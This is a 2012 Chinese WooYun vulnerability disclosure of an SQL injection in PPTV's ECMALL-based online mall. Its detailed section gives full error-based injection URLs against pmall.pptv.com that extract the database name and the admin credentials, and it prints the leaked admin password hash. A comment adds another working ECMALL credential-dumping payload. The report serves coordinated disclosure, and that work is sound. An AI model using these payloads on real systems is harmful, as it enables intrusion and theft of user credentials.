当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-012020

漏洞标题：PPTV商城存在注入漏洞,可能getshell

相关厂商：PPTV(PPlive)

漏洞作者： y35u

提交时间：2012-09-11 11:26

修复时间：2012-10-26 11:26

公开时间：2012-10-26 11:26

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-11： 细节已通知厂商并且等待厂商处理中
2012-09-11： 厂商已经确认，细节仅向厂商公开
2012-09-21： 细节向核心白帽子及相关领域专家公开
2012-10-01： 细节向普通白帽子公开
2012-10-11： 细节向实习白帽子公开
2012-10-26： 细节向公众公开

简要描述：

原因来自pptv采用了某开源商城系统，而且没有即时打补丁，导致一个历史漏洞被成功利用。

详细说明：

运用了ECMALL开源程序，其中，index.php?app=order&act=check_coupon&coupon_sn=1&store_id=1存在注入漏洞
1，先注册一个用户
2，

http://pmall.pptv.com/index.php?app=order&act=check_coupon&coupon_sn=1&store_id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1



爆得数据库名称：vas_pmall
3.其实上面要不要无所谓拉
通过报错信息得知，表前缀是SH（当然也可以自己爆一个表看看）
4，

http://pmall.pptv.com/index.php?app=order&act=check_coupon&coupon_sn=1&store_id=1%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28select%20concat%280x7e,0x27,%20sh_member.user_name,0x27,0x7e,%20sh_member.password,0x7e,0x27%29%20from%20sh_member%20limit%200,1%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1



爆得管理员账户密码
admin 468f7365337d1fcaf00211fa52e3df64
MD5还在破解中

漏洞证明：

看详细说明吧

修复方案：

打补丁，找ECMALL去

版权声明：转载请注明来源 y35u@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2012-09-11 16:28

厂商回复：

感谢白帽子，这个已知问题一直没复现，感谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-09-11 15:02 | 伟大娃娃 ( 普通白帽子 | Rank:130 漏洞数:10 | 改变世界)

    index.php?app=my_goods&act=brand_edit&id=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e27,%20ecm_member.user_name,0×27,0x7e,%20ecm_member.password,0x7e,0×27)%20from%20ecm_member%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)这个么

  2. 2012-09-11 16:51 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @伟大娃娃 这样做 很不和谐

  3. 2012-09-11 18:54 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    。。。。这个历史漏洞是昨天发布的吗